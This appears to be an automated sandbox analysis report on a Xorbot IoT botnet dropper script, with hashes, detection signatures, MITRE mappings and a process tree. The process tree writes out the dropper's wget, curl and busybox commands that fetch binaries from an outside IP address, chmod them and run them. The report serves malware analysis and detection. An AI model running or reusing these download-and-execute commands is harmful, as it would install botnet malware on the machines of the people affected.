xorbot | 4399d2ee79ecb5deba7f77bb2b21aa5f302115624d0ac0ae2a52543ab183c82b

Analysis

max time kernel
149s
max time network
149s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
11/02/2025, 08:57

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General

Target
bins.sh
Size 10KB
Sample250211-kwpbfa1rg1
SHA256 4399d2ee79ecb5deba7f77bb2b21aa5f302115624d0ac0ae2a52543ab183c82b
MD5 50b72caf0e9e8f610c871ab2addd7474
SHA1 e652157225600f28ec366d404e864ebbec1bfd55
SHA512 03050231244bd2cfcc5189f6f995b4b518429e988d5c62e153b649684df4b59d5881ddcfc774b3db7a562af95a5f9b57127fd58ef5451ef3bdb59fd18b18f401
SSDEEP 96:Tuq2s8fWqq+H6JAUl/fmZ+9PbagSLts8fWqYD+H6JAU5D1ZvfQZIEaPbcgSm3rZ:Tuw/fmZ+cq/KQ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1527	chmod
1534	chmod
1511	chmod
1520	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB	1512	bins.sh
/tmp/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l	1521	bins.sh
/tmp/OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT	1528	bins.sh
/tmp/z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS	1535	bins.sh

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l	busybox
File opened for modification	/tmp/OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT	curl
File opened for modification	/tmp/z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS	busybox
File opened for modification	/tmp/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB	wget
File opened for modification	/tmp/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB	busybox
File opened for modification	/tmp/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l	wget
File opened for modification	/tmp/OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT	busybox
File opened for modification	/tmp/z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS	wget
File opened for modification	/tmp/z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS	curl
File opened for modification	/tmp/xR50rfgBJz55ek6y8H33jJGGiWiH60FRs4	wget
File opened for modification	/tmp/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB	curl
File opened for modification	/tmp/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l	curl
File opened for modification	/tmp/OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:1494
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1495
- /usr/bin/wget
  wget http://194.85.251.8/bins/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
  2⤵
  - Writes file to tmp directory
  PID:1496
- /usr/bin/curl
  curl -O http://194.85.251.8/bins/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/busybox
  /bin/busybox wget http://194.85.251.8/bins/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
  2⤵
  - Writes file to tmp directory
  PID:1509
- /bin/chmod
  chmod 777 XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
  2⤵
  - File and Directory Permissions Modification
  PID:1511
- /tmp/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
  ./XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
  2⤵
  PID:1512
- /bin/rm
  rm XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
  2⤵
  PID:1514
- /usr/bin/wget
  wget http://194.85.251.8/bins/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
  2⤵
  - Writes file to tmp directory
  PID:1515
- /usr/bin/curl
  curl -O http://194.85.251.8/bins/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/busybox
  /bin/busybox wget http://194.85.251.8/bins/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/chmod
  chmod 777 QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
  2⤵
  - File and Directory Permissions Modification
  PID:1520
- /tmp/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
  ./QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
  2⤵
  PID:1521
- /bin/rm
  rm QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
  2⤵
  PID:1523
- /usr/bin/wget
  wget http://194.85.251.8/bins/OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
  2⤵
  - Writes file to tmp directory
  PID:1524
- /usr/bin/curl
  curl -O http://194.85.251.8/bins/OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
  2⤵
  - Writes file to tmp directory
  PID:1525
- /bin/busybox
  /bin/busybox wget http://194.85.251.8/bins/OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
  2⤵
  - Writes file to tmp directory
  PID:1526
- /bin/chmod
  chmod 777 OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
  2⤵
  - File and Directory Permissions Modification
  PID:1527
- /tmp/OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
  ./OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
  2⤵
  PID:1528
- /bin/rm
  rm OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
  2⤵
  PID:1530
- /usr/bin/wget
  wget http://194.85.251.8/bins/z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS
  2⤵
  - Writes file to tmp directory
  PID:1531
- /usr/bin/curl
  curl -O http://194.85.251.8/bins/z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS
  2⤵
  - Writes file to tmp directory
  PID:1532
- /bin/busybox
  /bin/busybox wget http://194.85.251.8/bins/z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS
  2⤵
  - Writes file to tmp directory
  PID:1533
- /bin/chmod
  chmod 777 z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS
  2⤵
  - File and Directory Permissions Modification
  PID:1534
- /tmp/z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS
  ./z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS
  2⤵
  PID:1535
- /bin/rm
  rm z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS
  2⤵
  PID:1537
- /usr/bin/wget
  wget http://194.85.251.8/bins/xR50rfgBJz55ek6y8H33jJGGiWiH60FRs4
  2⤵
  - Writes file to tmp directory
  PID:1538

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT

Path /tmp/OwwYBvwmNdgAM88mqPosrQBotzdX8BgHIT
Size 117KB
SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
MD5 849fa04ef88a8e8de32cb2e8538de5fe
SHA1 c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA512 2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
SSDEEP 3072:VozXHIisGFgyKB7xlBAUNFd4vm4QbZJmf35zPp:bGmyKBxl2U+vm4QbZJm/5zPp
MD5 SHA1 SHA512 SSDEEP

Submit Download

QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l

Path /tmp/QPRxBay6Dl4UeJYYObPwpZxUJ4N2qI3z2l
Size 107KB
SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
MD5 eb9c3a0de91fcf16ba17cb24608df68c
SHA1 09d95a7d70d5e115d103be51edff7c498d272fac
SHA512 9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
SSDEEP 3072:97fy8kXAidixidg9l8GTmNFbimQdbZ0r135z8J:9ygrhmNFGmQdbZ0rt5z8J
MD5 SHA1 SHA512 SSDEEP

Submit Download

XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB

Path /tmp/XwDMfEb1fF03s4ztL30DZoR7SntqUcR0iB
Size 141KB
SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
MD5 3ca8decdb1e52c423c521bfff02ac200
SHA1 8621ecd6807109b8541912ad9e134f6fb49bfd48
SHA512 b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
SSDEEP 3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
MD5 SHA1 SHA512 SSDEEP

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xR50rfgBJz55ek6y8H33jJGGiWiH60FRs4

Path /tmp/xR50rfgBJz55ek6y8H33jJGGiWiH60FRs4
Size 19KB
SHA256 ee32a32e3c5d41dfb29c0bac71e2d598973250c09b46c10e41097f2b5dda1cc8
MD5 926c127c2ec13062e232fac05bc627b2
SHA1 33205294983d35a8e346adc76600d1c598ce7b78
SHA512 289d10a6032e8e87ae8f968fb97e504350ae8ed015275b755db15dfc598272efccc83de77f36ce09c23662b5309f4d903dda09f9b82d60a1f023e623123e1231
SSDEEP 384:vuA9cdTRmd9bgbWZVzLB9rt9Y2Z3DeT+7H+QLne+f:vVOnObgsJzZ4+L+sr
MD5 SHA1 SHA512 SSDEEP

Submit Download

z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS

Path /tmp/z1iASKIUw5oksALXWPCBSXbw1AYaHU13TS
Size 151KB
SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
MD5 3c90d5820bddcf7c5d1bd21dfa49d958
SHA1 5ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA512 54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
SSDEEP 1536:mVqSjUF+uLHLVdiLzLsLzLsL7LeLGLXL0LLLkLhqqvZjptByZEGkbU+/pWacxZkI:tr9dy1B2gSpLg70mLjXswi5itRx2p
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads